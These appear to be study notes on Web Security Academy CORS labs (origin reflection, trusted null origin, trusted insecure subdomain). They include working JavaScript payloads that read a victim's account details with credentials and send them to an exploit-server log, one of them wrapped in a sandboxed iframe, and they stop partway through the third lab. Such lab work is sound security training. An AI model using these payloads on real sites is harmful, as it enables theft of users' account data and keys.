CORS vulnerability with basic origin reflection

if the Access-Control-Allow-Credentials header is present and when we add Origin: [https://example.com](https://example.com/) to our request we observe Access-Control-Allow-Origin: [https://example.com](https://example.com/)

This means that we can do this in the body of the exploit serv:

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0ac5009d04822ad180cd30b100b0009b.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>

CORS vulnerability with trusted null origin

if it has a whitelist of authorized urls with Origin: but accepts Origin: null

if when we add Origin: null in our request the server responds Access-Control-Allow-Origin: null and Access-Control-Allow-Credentials: true

so it is possible to do this:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

CORS vulnerability with trusted insecure protocols

Here, if we submit Origin: [http://example.com](http://example.com) to the GET /accountDetails request, the server won't accept (it doesn't respond with an Access-Control-Allow-Origin : [https://example.com](https://example.com) header)

But if we submit a subdomain Origin: http://grosskibidi.0a1f00e704880fd4874ab1c300a40083.web-security-academy.net

it's ok the server responds with

Access-Control-Allow-Origin: http://grosskibidi.0a1f00e704880fd4874ab1c300a40083.web-security-academy.net Access-Control-Allow-Credentials: true

our request must therefore be initiated by a subdomain

That's good, we have stock.0a1f00e704880fd4874ab1c300a40083.web-security-academy.net

vulnerable to reflected XSS in productID